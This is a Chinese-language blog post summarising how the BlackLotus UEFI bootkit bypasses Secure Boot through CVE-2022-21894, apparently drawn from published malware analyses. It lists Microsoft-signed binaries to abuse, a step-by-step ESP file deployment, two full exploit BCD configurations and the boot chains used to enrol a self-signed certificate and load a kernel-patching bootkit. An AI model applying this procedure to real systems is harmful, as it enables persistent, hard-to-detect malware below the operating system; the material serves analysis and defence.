BlackLotus绕过SecureBoot概要流程

BlackLotus绕过SecureBoot概要流程

  • CVE-2022-21894 Baton Drop漏洞

  • 三个可利用的EFI文件,具有微软合法签名
    https://msdl.microsoft.com/download/symbols/bootmgfw.efi/7144BCD31C0000/bootmgfw.efi
    https://msdl.microsoft.com/download/symbols/bootmgr.efi/98B063A61BC000/bootmgr.efi
    https://msdl.microsoft.com/download/symbols/hvloader.efi/559F396411D000/hvloader.efi
    这三个文件已经被微软禁止访问、下载,未找到副本

  • 文件部署

    1. 重命名\EFI\Microsoft\Boot\bootmgfw.efi\EFI\Microsoft\Boot\winload.efi
    2. 未启用SecureBoot
      将Bootkit拷贝为\EFI\Microsoft\Boot\bootmgfw.efi
    3. 启用SecureBoot
      1. 在ESP分区根目录中创建\system32文件夹
      2. 将合法的具有微软签名的shim.efi(bootx64.efi)文件拷贝到\EFI\Microsoft\Boot\bootload.efi
      3. 将下载的bootmgfw.efi文件拷贝到\EFI\Microsoft\Boot\bootmgfw.efi
      4. 将下载的hvloader.efi文件拷贝到\system32\hvloader.efi
      5. 将下载的bootmgr.efi文件拷贝到\system32\bootmgr.efi
      6. 将可利用的BCD文件拷贝到\system32\BCD
      Windows Boot Manager
      --------------------
      identifier              {9dea862c-5cdd-4e70-acc1-f32b344d4795}
      description             Windows Boot Manager
      locale                  en-US
      inherit                 {7ea2e1ac-2e61-4728-aaa3-896d9d0a9f0e}
      bootdebug               Yes
      displayorder            {57e1b615-0355-11ec-abb0-005056c00008}
      timeout                 30
      
      Windows Boot Loader
      -------------------
      identifier              {57e1b615-0355-11ec-abb0-005056c00008}
      device                  boot
      path                    \system32\hvloader.efi
      description             Hoy la disco se flota
      locale                  en-US
      inherit                 {6efb52bf-1766-41db-a6b3-0ee5eff72bd7}
      truncatememory          0x10000000
      avoidlowmemory          0x1000
      nointegritychecks       Yes
      testsigning             Yes
      isolatedcontext         Yes
      osdevice                boot
      systemroot              \
      ems                     Yes		
      
      1. 将mcupdate_AuthenticAMD.dll文件拷贝到\system32\mcupdate_AuthenticAMD.dll
      2. 将mcupdate_GenuineIntel.dll文件拷贝到\system32\mcupdate_GenuineIntel.dll
      3. 重命名\EFI\Microsoft\Boot\BCD\EFI\Microsoft\Boot\BCDR,即备份BCD文件为BCDR
      4. 将可利用的BCD文件拷贝到\EFI\Microsoft\Boot\BCD,并修改HKEY_LOCAL_MACHINE\BCDLoadName\DescriptionKeyName的值为BCD00000000
      Windows Boot Manager
      --------------------
      identifier              {9dea862c-5cdd-4e70-acc1-f32b344d4795}
      description             Windows Boot Manager
      locale                  en-US
      inherit                 {7ea2e1ac-2e61-4728-aaa3-896d9d0a9f0e}
      bootdebug               No
      displayorder            {527f84fc-036e-11ec-abb0-005056c00008}
      timeout                 30
      
      Windows Boot Loader
      -------------------
      identifier              {527f84fc-036e-11ec-abb0-005056c00008}
      device                  boot
      path                    \system32\bootmgr.efi
      description             RIP the woo
      locale                  en-US
      inherit                 {6efb52bf-1766-41db-a6b3-0ee5eff72bd7}
      avoidlowmemory          0x10000000
      bootdebug               No
      isolatedcontext         Yes
      custom:22000023         \system32\bcd
      ems                     Yes
      
      
      1. 重启系统,实现将自签名证书加入MOK,绕过SecureBoot检测
      2. 系统启动时,启动链如下
      bootmgfw.efi -> BCD -> \system32\bootmgr.efi -> \system32\hvloader.efi -> \system32\mcupdate_GenuineIntel.dll -> MokInstallEfiApp
      
      检测ESP根目录下的\system32等相关文件是否存在,如果存在,则重命名\EFI\Microsoft\Boot\bootload.efi为\EFI\Microsoft\Boot\bootmgfw.efi
      13. 拷贝Bootkit到\EFI\Microsoft\Boot\grubx64.efi
      14. 恢复\EFI\Microsoft\Boot\BCDR\EFI\Microsoft\Boot\BCD
      15. 设置UEFI中的MokList变量,使得自签名的grubx64.efi绕过SecureBoot
      16. 删除\system32下的所有文件
      17. 重启系统,实现启动自签名模块grubx64.efi,进而在启动Windows系统时植入木马
      18. 系统启动时,启动链如下
      bootmgfw.efi -> grubx64.efi -> winload.efi -> BCD -> \Windows\System32\winload.efi -> Hook、Patch Kernel -> Install Malware
      
      1. 重启后,shim版的bootmgfw.efi启动Bootkit伪装的grubx64.efi,成功绕过SecureBoot
        随后,Bootkit伪装的grubx64.efi加载真正的winload.efi(即原始的bootmgfw.efi),进行Hook、Patch
        等操作后启动目标系统,实现持久化.
  • 参考连接
    BlackLotus 分析1–安装器阶段
    BlackLotus 分析2–boot-内核阶段
    BlackLotus 分析3–http_downloader
    BlackLotus UEFI bootkit: Myth confirmed
    Myth confirmed

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值